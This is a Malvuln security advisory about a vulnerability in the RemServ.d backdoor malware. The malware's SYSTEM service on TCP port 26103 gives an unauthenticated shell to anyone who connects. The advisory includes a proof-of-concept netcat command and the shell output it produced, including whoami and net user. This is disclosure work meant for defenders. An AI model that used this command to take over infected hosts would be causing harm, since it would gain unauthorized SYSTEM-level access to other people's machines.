Backdoor.Win32.RemServ.d / Unauthenticated Remote Command Execution

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: Contact: Media: Threat: Backdoor.Win32.RemServ.d Vulnerability: Unauthenticated Remote Command Execution Family: RemServ Type: PE32 MD5: 05a082d441d9cf365749c0e1eb904c85 Vuln ID: MVID-2022-0655 Disclosure: 11/11/2022 Description: The malware creates a service "RSMSS" that runs as SYSTEM and listens on TCP port 26103. Remote attackers who can connect to an infected host will get back a shell as "nt authority\system". Exploit/PoC: C:\>nc64.exe x.x.x.x 26103 Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\>whoami whoami nt authority\system C:\>net user net user User accounts for \\ ---------------------------------------------------------------------------- Administrator DefaultAccount Guest Victim WDAGUtilityAccount The command completed with one or more errors. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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